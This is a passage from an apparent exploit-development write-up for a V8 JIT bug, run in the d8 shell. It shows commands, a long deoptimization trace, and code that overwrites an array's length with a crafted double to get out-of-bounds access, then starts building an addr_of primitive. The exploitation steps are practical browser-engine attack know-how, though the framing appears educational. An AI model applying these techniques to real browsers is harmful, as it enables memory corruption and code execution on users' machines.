</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>..<span style="color:#f92672">/</span><span style="color:#a6e22e">accidentalnday_release</span><span style="color:#f92672">/</span><span style="color:#a6e22e">d8</span> <span style="color:#a6e22e">bug</span>.<span style="color:#a6e22e">js</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">allow</span><span style="color:#f92672">-</span><span style="color:#a6e22e">natives</span><span style="color:#f92672">-</span><span style="color:#a6e22e">syntax</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">turbo</span><span style="color:#f92672">-</span><span style="color:#a6e22e">escape</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">turbo</span><span style="color:#f92672">-</span><span style="color:#a6e22e">experimental</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">no</span><span style="color:#f92672">-</span><span style="color:#a6e22e">turbo</span><span style="color:#f92672">-</span><span style="color:#a6e22e">loop</span><span style="color:#f92672">-</span><span style="color:#a6e22e">peeling</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">20</span>
</span></span></code></pre></div><p>The result is the integer <code>20</code>, demonstrating that the Array length has been found.</p>
<p>This can now be used to overwrite the Array length to create an Array that can read and write OOB.</p>
<p>Initially we try use our helper functions to do this as shown below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>      <span style="color:#a6e22e">initial_oob_array</span>[<span style="color:#a6e22e">o</span>.<span style="color:#a6e22e">a</span>] <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">Int64</span>(<span style="color:#a6e22e">int_to_smi</span>(<span style="color:#ae81ff">65535</span>)).<span style="color:#a6e22e">asDouble</span>();
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">o</span>.<span style="color:#a6e22e">a</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">x</span>;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>   <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">res</span>;
</span></span></code></pre></div><p>However the added functionality of these helper functions causes the JIT to deoptimize and hence breaks the exploit. This can be verified by adding the <code>--trace-deopt</code> flag to the exploit.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">➜</span>  <span style="color:#a6e22e">accidentalnday</span> ..<span style="color:#f92672">/</span><span style="color:#a6e22e">accidentalnday_release</span><span style="color:#f92672">/</span><span style="color:#a6e22e">d8</span> <span style="color:#a6e22e">bug</span>.<span style="color:#a6e22e">js</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">allow</span><span style="color:#f92672">-</span><span style="color:#a6e22e">natives</span><span style="color:#f92672">-</span><span style="color:#a6e22e">syntax</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">turbo</span><span style="color:#f92672">-</span><span style="color:#a6e22e">escape</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">turbo</span><span style="color:#f92672">-</span><span style="color:#a6e22e">experimental</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">no</span><span style="color:#f92672">-</span><span style="color:#a6e22e">turbo</span><span style="color:#f92672">-</span><span style="color:#a6e22e">loop</span><span style="color:#f92672">-</span><span style="color:#a6e22e">peeling</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">trace</span><span style="color:#f92672">-</span><span style="color:#a6e22e">deopt</span>
</span></span><span style="display:flex;"><span>[<span style="color:#a6e22e">deoptimizing</span> (<span style="color:#a6e22e">DEOPT</span> <span style="color:#a6e22e">eager</span>)<span style="color:#f92672">:</span> <span style="color:#a6e22e">begin</span> <span style="color:#ae81ff">0x1ad49b9ad3a9</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">JSFunction</span> <span style="color:#a6e22e">f</span> (<span style="color:#a6e22e">sfi</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x1ad49b9acd41</span>)<span style="color:#f92672">&gt;</span> (<span style="color:#a6e22e">opt</span> <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>) <span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">36</span>, <span style="color:#a6e22e">FP</span> <span style="color:#a6e22e">to</span> <span style="color:#a6e22e">SP</span> <span style="color:#a6e22e">delta</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">136</span>, <span style="color:#a6e22e">caller</span> <span style="color:#a6e22e">sp</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0x7fff6cfe2fe0</span>]
</span></span><span style="display:flex;"><span>            ;;; <span style="color:#a6e22e">deoptimize</span> <span style="color:#a6e22e">at</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">bug</span>.<span style="color:#a6e22e">js</span><span style="color:#f92672">:</span><span style="color:#ae81ff">163</span><span style="color:#f92672">:</span><span style="color:#ae81ff">28</span><span style="color:#f92672">&gt;</span>, <span style="color:#a6e22e">out</span> <span style="color:#66d9ef">of</span> <span style="color:#a6e22e">bounds</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// Convenience functions. These allocate a new Int64 to hold the result.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#a6e22e">reading</span> <span style="color:#a6e22e">input</span> <span style="color:#a6e22e">frame</span> <span style="color:#a6e22e">f</span> =&gt; <span style="color:#a6e22e">bytecode_offset</span><span style="color:#f92672">=</span><span style="color:#ae81ff">146</span>, <span style="color:#a6e22e">args</span><span style="color:#f92672">=</span><span style="color:#ae81ff">2</span>, <span style="color:#a6e22e">height</span><span style="color:#f92672">=</span><span style="color:#ae81ff">11</span>; <span style="color:#a6e22e">inputs</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>      <span style="color:#ae81ff">0</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0x1ad49b9ad3a9</span> ; [<span style="color:#a6e22e">fp</span> <span style="color:#f92672">-</span> <span style="color:#ae81ff">16</span>] <span style="color:#ae81ff">0x1ad49b9ad3a9</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">JSFunction</span> <span style="color:#a6e22e">f</span> (<span style="color:#a6e22e">sfi</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x1ad49b9acd41</span>)<span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#ae81ff">1</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0x25e9267033e1</span> ; [<span style="color:#a6e22e">fp</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">24</span>] <span style="color:#ae81ff">0x25e9267033e1</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">JSGlobal</span> Object<span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#ae81ff">2</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0x700000000</span> ; [<span style="color:#a6e22e">fp</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">16</span>] <span style="color:#ae81ff">7</span>
</span></span><span style="display:flex;"><span>      <span style="color:#ae81ff">3</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0x1ad49b983d91</span> ; [<span style="color:#a6e22e">fp</span> <span style="color:#f92672">-</span> <span style="color:#ae81ff">8</span>] <span style="color:#ae81ff">0x1ad49b983d91</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">FixedArray</span>[<span style="color:#ae81ff">278</span>]<span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#ae81ff">4</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0x25e92671e4e1</span> ; [<span style="color:#a6e22e">fp</span> <span style="color:#f92672">-</span> <span style="color:#ae81ff">24</span>] <span style="color:#ae81ff">0x25e92671e4e1</span> <span style="color:#f92672">&lt;</span>Object <span style="color:#a6e22e">map</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x2c688bf8e0c9</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#ae81ff">5</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0x25e92671e531</span> ; <span style="color:#a6e22e">rcx</span> <span style="color:#ae81ff">0x25e92671e531</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">JSArray</span>[<span style="color:#ae81ff">4</span>]<span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#ae81ff">6</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0x384e6fd82311</span> ; (<span style="color:#a6e22e">literal</span> <span style="color:#ae81ff">5</span>) <span style="color:#ae81ff">0x384e6fd82311</span> <span style="color:#f92672">&lt;</span><span style="color:#66d9ef">undefined</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#ae81ff">7</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">1</span> ; (<span style="color:#66d9ef">int</span>) [<span style="color:#a6e22e">fp</span> <span style="color:#f92672">-</span> <span style="color:#ae81ff">40</span>]
</span></span><span style="display:flex;"><span>      <span style="color:#ae81ff">8</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0x384e6fd825a9</span> ; (<span style="color:#a6e22e">literal</span> <span style="color:#ae81ff">6</span>) <span style="color:#ae81ff">0x384e6fd825a9</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">Odd</span> <span style="color:#a6e22e">Oddball</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">optimized_out</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#ae81ff">9</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0x700000000</span> ; [<span style="color:#a6e22e">fp</span> <span style="color:#f92672">-</span> <span style="color:#ae81ff">48</span>] <span style="color:#ae81ff">7</span>
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">10</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0x384e6fd825a9</span> ; (<span style="color:#a6e22e">literal</span> <span style="color:#ae81ff">6</span>) <span style="color:#ae81ff">0x384e6fd825a9</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">Odd</span> <span style="color:#a6e22e">Oddball</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">optimized_out</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">11</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0x384e6fd825a9</span> ; (<span style="color:#a6e22e">literal</span> <span style="color:#ae81ff">6</span>) <span style="color:#ae81ff">0x384e6fd825a9</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">Odd</span> <span style="color:#a6e22e">Oddball</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">optimized_out</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">12</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0x384e6fd825a9</span> ; (<span style="color:#a6e22e">literal</span> <span style="color:#ae81ff">6</span>) <span style="color:#ae81ff">0x384e6fd825a9</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">Odd</span> <span style="color:#a6e22e">Oddball</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">optimized_out</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">13</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0x384e6fd825a9</span> ; (<span style="color:#a6e22e">literal</span> <span style="color:#ae81ff">6</span>) <span style="color:#ae81ff">0x384e6fd825a9</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">Odd</span> <span style="color:#a6e22e">Oddball</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">optimized_out</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">14</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0x25e92671fec1</span> ; <span style="color:#a6e22e">rax</span> <span style="color:#ae81ff">0x25e92671fec1</span> <span style="color:#f92672">&lt;</span>Number <span style="color:#ae81ff">1.39065</span><span style="color:#a6e22e">e</span><span style="color:#f92672">-</span><span style="color:#ae81ff">309</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">translating</span> <span style="color:#a6e22e">interpreted</span> <span style="color:#a6e22e">frame</span> <span style="color:#a6e22e">f</span> =&gt; <span style="color:#a6e22e">bytecode_offset</span><span style="color:#f92672">=</span><span style="color:#ae81ff">146</span>, <span style="color:#a6e22e">height</span><span style="color:#f92672">=</span><span style="color:#ae81ff">88</span>
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x7fff6cfe2fd8</span><span style="color:#f92672">:</span> [<span style="color:#a6e22e">top</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">152</span>] <span style="color:#f92672">&lt;-</span> <span style="color:#ae81ff">0x25e9267033e1</span> ;  <span style="color:#ae81ff">0x25e9267033e1</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">JSGlobal</span> Object<span style="color:#f92672">&gt;</span>  (<span style="color:#a6e22e">input</span> <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x7fff6cfe2fd0</span><span style="color:#f92672">:</span> [<span style="color:#a6e22e">top</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">144</span>] <span style="color:#f92672">&lt;-</span> <span style="color:#ae81ff">0x700000000</span> ;  <span style="color:#ae81ff">7</span>  (<span style="color:#a6e22e">input</span> <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">2</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">-------------------------</span>
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x7fff6cfe2fc8</span><span style="color:#f92672">:</span> [<span style="color:#a6e22e">top</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">136</span>] <span style="color:#f92672">&lt;-</span> <span style="color:#ae81ff">0xe6f4b9f7592</span> ;  <span style="color:#a6e22e">caller</span><span style="color:#e6db74">&#39;s pc
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    0x7fff6cfe2fc0: [top + 128] &lt;- 0x7fff6cfe2fe8 ;  caller&#39;</span><span style="color:#a6e22e">s</span> <span style="color:#a6e22e">fp</span>
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x7fff6cfe2fb8</span><span style="color:#f92672">:</span> [<span style="color:#a6e22e">top</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">120</span>] <span style="color:#f92672">&lt;-</span> <span style="color:#ae81ff">0x1ad49b983d91</span> ;  <span style="color:#a6e22e">context</span>    <span style="color:#ae81ff">0x1ad49b983d91</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">FixedArray</span>[<span style="color:#ae81ff">278</span>]<span style="color:#f92672">&gt;</span>  (<span style="color:#a6e22e">input</span> <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">3</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x7fff6cfe2fb0</span><span style="color:#f92672">:</span> [<span style="color:#a6e22e">top</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">112</span>] <span style="color:#f92672">&lt;-</span> <span style="color:#ae81ff">0x1ad49b9ad3a9</span> ;  <span style="color:#66d9ef">function</span>    <span style="color:#ae81ff">0x1ad49b9ad3a9</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">JSFunction</span> <span style="color:#a6e22e">f</span> (<span style="color:#a6e22e">sfi</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x1ad49b9acd41</span>)<span style="color:#f92672">&gt;</span>  (<span style="color:#a6e22e">input</span> <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x7fff6cfe2fa8</span><span style="color:#f92672">:</span> [<span style="color:#a6e22e">top</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">104</span>] <span style="color:#f92672">&lt;-</span> <span style="color:#ae81ff">0x384e6fd82311</span> ;  <span style="color:#a6e22e">new_target</span>  <span style="color:#ae81ff">0x384e6fd82311</span> <span style="color:#f92672">&lt;</span><span style="color:#66d9ef">undefined</span><span style="color:#f92672">&gt;</span>  (<span style="color:#a6e22e">input</span> <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x7fff6cfe2fa0</span><span style="color:#f92672">:</span> [<span style="color:#a6e22e">top</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">96</span>] <span style="color:#f92672">&lt;-</span> <span style="color:#ae81ff">0x1ad49b9b4801</span> ;  <span style="color:#a6e22e">bytecode</span> <span style="color:#a6e22e">array</span> <span style="color:#ae81ff">0x1ad49b9b4801</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">BytecodeArray</span>[<span style="color:#ae81ff">168</span>]<span style="color:#f92672">&gt;</span>  (<span style="color:#a6e22e">input</span> <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x7fff6cfe2f98</span><span style="color:#f92672">:</span> [<span style="color:#a6e22e">top</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">88</span>] <span style="color:#f92672">&lt;-</span> <span style="color:#ae81ff">0xc700000000</span> ;  <span style="color:#a6e22e">bytecode</span> <span style="color:#a6e22e">offset</span> <span style="color:#960050;background-color:#1e0010">@</span> <span style="color:#ae81ff">146</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">-------------------------</span>
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x7fff6cfe2f90</span><span style="color:#f92672">:</span> [<span style="color:#a6e22e">top</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">80</span>] <span style="color:#f92672">&lt;-</span> <span style="color:#ae81ff">0x25e92671e4e1</span> ;  <span style="color:#ae81ff">0x25e92671e4e1</span> <span style="color:#f92672">&lt;</span>Object <span style="color:#a6e22e">map</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x2c688bf8e0c9</span><span style="color:#f92672">&gt;</span>  (<span style="color:#a6e22e">input</span> <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">4</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x7fff6cfe2f88</span><span style="color:#f92672">:</span> [<span style="color:#a6e22e">top</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">72</span>] <span style="color:#f92672">&lt;-</span> <span style="color:#ae81ff">0x25e92671e531</span> ;  <span style="color:#ae81ff">0x25e92671e531</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">JSArray</span>[<span style="color:#ae81ff">4</span>]<span style="color:#f92672">&gt;</span>  (<span style="color:#a6e22e">input</span> <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">5</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x7fff6cfe2f80</span><span style="color:#f92672">:</span> [<span style="color:#a6e22e">top</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">64</span>] <span style="color:#f92672">&lt;-</span> <span style="color:#ae81ff">0x384e6fd82311</span> ;  <span style="color:#ae81ff">0x384e6fd82311</span> <span style="color:#f92672">&lt;</span><span style="color:#66d9ef">undefined</span><span style="color:#f92672">&gt;</span>  (<span style="color:#a6e22e">input</span> <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">6</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x7fff6cfe2f78</span><span style="color:#f92672">:</span> [<span style="color:#a6e22e">top</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">56</span>] <span style="color:#f92672">&lt;-</span> <span style="color:#ae81ff">0x100000000</span> ;  <span style="color:#ae81ff">1</span>  (<span style="color:#a6e22e">input</span> <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x7fff6cfe2f70</span><span style="color:#f92672">:</span> [<span style="color:#a6e22e">top</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">48</span>] <span style="color:#f92672">&lt;-</span> <span style="color:#ae81ff">0x384e6fd825a9</span> ;  <span style="color:#ae81ff">0x384e6fd825a9</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">Odd</span> <span style="color:#a6e22e">Oddball</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">optimized_out</span><span style="color:#f92672">&gt;</span>  (<span style="color:#a6e22e">input</span> <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">8</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x7fff6cfe2f68</span><span style="color:#f92672">:</span> [<span style="color:#a6e22e">top</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">40</span>] <span style="color:#f92672">&lt;-</span> <span style="color:#ae81ff">0x700000000</span> ;  <span style="color:#ae81ff">7</span>  (<span style="color:#a6e22e">input</span> <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">9</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x7fff6cfe2f60</span><span style="color:#f92672">:</span> [<span style="color:#a6e22e">top</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">32</span>] <span style="color:#f92672">&lt;-</span> <span style="color:#ae81ff">0x384e6fd825a9</span> ;  <span style="color:#ae81ff">0x384e6fd825a9</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">Odd</span> <span style="color:#a6e22e">Oddball</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">optimized_out</span><span style="color:#f92672">&gt;</span>  (<span style="color:#a6e22e">input</span> <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">10</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x7fff6cfe2f58</span><span style="color:#f92672">:</span> [<span style="color:#a6e22e">top</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">24</span>] <span style="color:#f92672">&lt;-</span> <span style="color:#ae81ff">0x384e6fd825a9</span> ;  <span style="color:#ae81ff">0x384e6fd825a9</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">Odd</span> <span style="color:#a6e22e">Oddball</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">optimized_out</span><span style="color:#f92672">&gt;</span>  (<span style="color:#a6e22e">input</span> <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">11</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x7fff6cfe2f50</span><span style="color:#f92672">:</span> [<span style="color:#a6e22e">top</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">16</span>] <span style="color:#f92672">&lt;-</span> <span style="color:#ae81ff">0x384e6fd825a9</span> ;  <span style="color:#ae81ff">0x384e6fd825a9</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">Odd</span> <span style="color:#a6e22e">Oddball</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">optimized_out</span><span style="color:#f92672">&gt;</span>  (<span style="color:#a6e22e">input</span> <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">12</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x7fff6cfe2f48</span><span style="color:#f92672">:</span> [<span style="color:#a6e22e">top</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">8</span>] <span style="color:#f92672">&lt;-</span> <span style="color:#ae81ff">0x384e6fd825a9</span> ;  <span style="color:#ae81ff">0x384e6fd825a9</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">Odd</span> <span style="color:#a6e22e">Oddball</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">optimized_out</span><span style="color:#f92672">&gt;</span>  (<span style="color:#a6e22e">input</span> <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">13</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x7fff6cfe2f40</span><span style="color:#f92672">:</span> [<span style="color:#a6e22e">top</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">0</span>] <span style="color:#f92672">&lt;-</span> <span style="color:#ae81ff">0x25e92671fec1</span> ;  <span style="color:#a6e22e">accumulator</span> <span style="color:#ae81ff">0x25e92671fec1</span> <span style="color:#f92672">&lt;</span>Number <span style="color:#ae81ff">1.39065</span><span style="color:#a6e22e">e</span><span style="color:#f92672">-</span><span style="color:#ae81ff">309</span><span style="color:#f92672">&gt;</span>  (<span style="color:#a6e22e">input</span> <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">14</span>)
</span></span><span style="display:flex;"><span>[<span style="color:#a6e22e">deoptimizing</span> (<span style="color:#a6e22e">eager</span>)<span style="color:#f92672">:</span> <span style="color:#a6e22e">end</span> <span style="color:#ae81ff">0x1ad49b9ad3a9</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">JSFunction</span> <span style="color:#a6e22e">f</span> (<span style="color:#a6e22e">sfi</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x1ad49b9acd41</span>)<span style="color:#f92672">&gt;</span> <span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">36</span> =&gt; <span style="color:#a6e22e">node</span><span style="color:#f92672">=</span><span style="color:#ae81ff">146</span>, <span style="color:#a6e22e">pc</span><span style="color:#f92672">=</span><span style="color:#ae81ff">0xe6f4b9c2a80</span>, <span style="color:#a6e22e">caller</span> <span style="color:#a6e22e">sp</span><span style="color:#f92672">=</span><span style="color:#ae81ff">0x7fff6cfe2fe0</span>, <span style="color:#a6e22e">state</span><span style="color:#f92672">=</span><span style="color:#a6e22e">TOS_REGISTER</span>, <span style="color:#a6e22e">took</span> <span style="color:#ae81ff">0.296</span> <span style="color:#a6e22e">ms</span>]
</span></span><span style="display:flex;"><span>[<span style="color:#a6e22e">removing</span> <span style="color:#a6e22e">optimized</span> <span style="color:#a6e22e">code</span> <span style="color:#66d9ef">for</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0x1ad49b9ad3a9</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">JSFunction</span> <span style="color:#a6e22e">f</span> (<span style="color:#a6e22e">sfi</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x1ad49b9acd41</span>)<span style="color:#f92672">&gt;</span>]
</span></span></code></pre></div><p>The fix this, the raw double 65535 value can be used:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#a6e22e">initial_oob_array</span>[<span style="color:#a6e22e">o</span>.<span style="color:#a6e22e">a</span>] <span style="color:#f92672">=</span> <span style="color:#ae81ff">1.39064994160909</span><span style="color:#a6e22e">e</span><span style="color:#f92672">-</span><span style="color:#ae81ff">309</span>;
</span></span></code></pre></div><p>The function no longer deoptimizes, and <code>oob_array.length</code> has been overwritten:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>..<span style="color:#f92672">/</span><span style="color:#a6e22e">accidentalnday_release</span><span style="color:#f92672">/</span><span style="color:#a6e22e">d8</span> <span style="color:#a6e22e">bug</span>.<span style="color:#a6e22e">js</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">allow</span><span style="color:#f92672">-</span><span style="color:#a6e22e">natives</span><span style="color:#f92672">-</span><span style="color:#a6e22e">syntax</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">turbo</span><span style="color:#f92672">-</span><span style="color:#a6e22e">escape</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">turbo</span><span style="color:#f92672">-</span><span style="color:#a6e22e">experimental</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">no</span><span style="color:#f92672">-</span><span style="color:#a6e22e">turbo</span><span style="color:#f92672">-</span><span style="color:#a6e22e">loop</span><span style="color:#f92672">-</span><span style="color:#a6e22e">peeling</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">trace</span><span style="color:#f92672">-</span><span style="color:#a6e22e">deopt</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">0x7ff8000000000000</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Smashed</span> <span style="color:#a6e22e">oob_array</span> <span style="color:#a6e22e">length</span> <span style="color:#a6e22e">to</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">65535</span>
</span></span></code></pre></div><p>To create the <code>addr_of</code> primitive, an elements array is required.</p>
<p>To find the offset to this array, we can place elements to search for as shown by the <code>1337</code> element below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>  <span style="color:#a6e22e">elements_array</span> <span style="color:#f92672">=</span> [<span style="color:#ae81ff">1337</span>,{},{}]
</span></span></code></pre></div><p>These can be found using the following loop:</p>
